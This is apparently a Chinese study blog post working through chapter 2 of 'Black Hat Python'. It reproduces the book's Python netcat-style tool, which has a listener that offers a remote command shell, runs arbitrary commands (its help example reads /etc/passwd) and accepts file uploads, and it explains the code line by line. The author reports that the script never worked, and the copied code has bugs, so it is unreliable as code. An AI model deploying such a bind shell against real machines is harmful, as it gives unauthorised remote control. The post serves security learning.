学习自Python黑帽子(第二版)——第二章
前言
最终没有运行成功😭,应该是可以成功监听端口的,但是以客户端方式运行脚本的时候,在命令行中无论是输入EOF还是按ctrl+D都没有反应没有书中的效果。Google和百度了,找到了源码中的错误,但是改了之后依然输入EOF没有反应。Debug了好几天,放弃了,毕竟只是储备量不足实在不知道哪里出了问题。
netcat源码
import argparse
#提供了一种方便的方法来解析命令行参数,使您的工具更加灵活,用户友好。
import socket
#提供了套接字编程所需的基础功能,如创建、连接、发送和接收数据。
import shlex
#提供了一种简单的方式来解析和处理命令行参数字符串。
import subprocess
#提供了一种执行子进程的方法,以便您的工具可以执行系统命令和程序。
import sys
#提供了与Python解释器交互的功能,包括访问命令行参数和标准输入/输出。
import textwrap
#提供了一种方便的方法来格式化文本,使其在终端上更易读。
import threading
#提供了一种创建和管理线程的方法,以便您的工具可以同时处理多个连接。
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd),stdeer=subprocess.STDOUT)
return output.decode()
'''
该函数首先通过strip()方法去除命令字符串两端的空格和换行符,然后判断该命令是否为空字符串。
如果是,则返回None。如果不是空字符串,则使用subprocess.check_output()方法执行该命令。
这个方法会调用操作系统的shell执行该命令,并返回该命令的输出结果。shlex.split()方法
可以将命令字符串分割成一个包含各个参数的列表。函数还将stdeer参数设置为subprocess.STDOUT,
以便将命令的标准错误输出流也重定向到标准输出流中,从而避免错误输出被忽略。最后,使用
decode()方法将命令输出的字节串转换为Unicode字符串,并将其作为函数返回值返回。
'''
class NetCat:
def __init__(self,args,buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
'''
这是 NetCat 类的定义。该类封装了使用 socket 模块进行网络通信的逻辑。
__init__ 方法是类的构造函数,用于初始化对象的状态。在这个函数中,它接收两个参数:args 和 buffer,
并将它们保存为对象的属性,分别为 self.args 和 self.buffer。另外,它创建了一个 socket 对象,
使用 AF_INET 和 SOCK_STREAM 参数分别表示要使用 IPv4 协议和 TCP 协议。并且通过 setsockopt 方法
设置了 SO_REUSEADDR 选项,这是为了在同一台计算机上频繁绑定端口而避免出现错误。
'''
def send(self):
self.socket.connect((self.args.target,self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 1:#原文错误本来是“<4096”看文章说这里错了应该改成这样,但是还是不行。
break
if response:
print(response)
buffer = input('>')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
'''
先连接到target和port,如果这时缓冲区里有数据的话,就先把这些数据发过去。接下来,创建一个try/catch块,
这样就能直接用Ctrl+C组合键手动关闭连接。然后,创建一个大循环,一轮一轮地接收target返回的数据❸。
在大循环里,我们建了一个小循环,用来读取socket本轮返回的数据。如果socket里的数据目前已经读到头,就退出小循环❹。
接下来检查刚才有没有实际读出什么东西来,如果读出了什么,就输出到屏幕上,并暂停,等待用户输入新的内容,
再把新的内容发给target❺,接着开始下一轮大循环。
这个大循环将一直持续下去,直到你按下Ctrl+C组合键触发KeyboardInterrupt中断循环❻,这时也会关闭socket对象。
'''
def listen(self):
self.socket.bind((self.args.target,self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target=self.handle, args=(client_socket,)
)
client_thread.start()
def handle(self,client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = 'b'
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload,'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b'BHP: #>')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print (f'server killed {e}')
self.socket.close()
sys.exit()
if __name__== '__main__':
parser = argparse.ArgumentParser(
description = 'BHP Net Tool',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Exmple:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat/ect/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
'''
使用argparse.ArgumentParser()函数创建一个argparse解析器对象,并指定程序的描述信息和
示例信息。formatter_class参数指定输出帮助信息时的格式,这里
使用argparse.RawDescriptionHelpFormatter类来保留示例信息的格式。epilog参数则指定
帮助信息的结尾部分,用于展示示例命令的用法。
'''
parser.add_argument('-c','--command',action='store_true',help='command shell')
parser.add_argument('-e','--execute',help='execute specified command')
parser.add_argument('-l','--listen',action='store_true',help='listen')
parser.add_argument('-p','--port',type=int,default=5555,help='specified port')
parser.add_argument('-t','--target',default='192.168.1.203',help='specified IP')
parser.add_argument('-u','--upload',help='upload file')
args = parser.parse_args()
'''
使用parser.add_argument()方法向解析器中添加参数。
该方法可以接受多个参数,用于指定参数名称、参数值类型、默认值、帮助信息等。
程序收到-c参数,就会打开一个交互式的命令行shell;收到-e参数,就会执行一条命令;收到-l参数,就会
创建一个监听器;-p参数用来指定要通信的端口;-t参数用来指定要通信的目标IP地址;-u参数用来指定要上传的文件。
因为发送方和接收方都会运行这个程序,所以传进来的参数会决定这个程序接下来是要发送数据还是要
进行监听。使用了-c、-e和-u这三个参数,就意味着要使用-l参数,因为这些行为都只能由接收方来完成。
而发送方只需要向接收方发起连接,所以它只需要用-t和-p两个参数来指定接收方。
'''
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args,buffer.encode())
nc.run()
'''
使用parser.parse_args()方法解析命令行参数,并将结果存储在一个名为args的命名空间对象中。
然后,根据-l参数的值,确定了程序是否要进行监听,我们就在缓冲区里填上空白数据,
把空白缓冲区传给NetCat对象。反之,我们就把stdin里的数据通过缓冲区传进去。最后调用NetCat类的run函数来启动它。
'''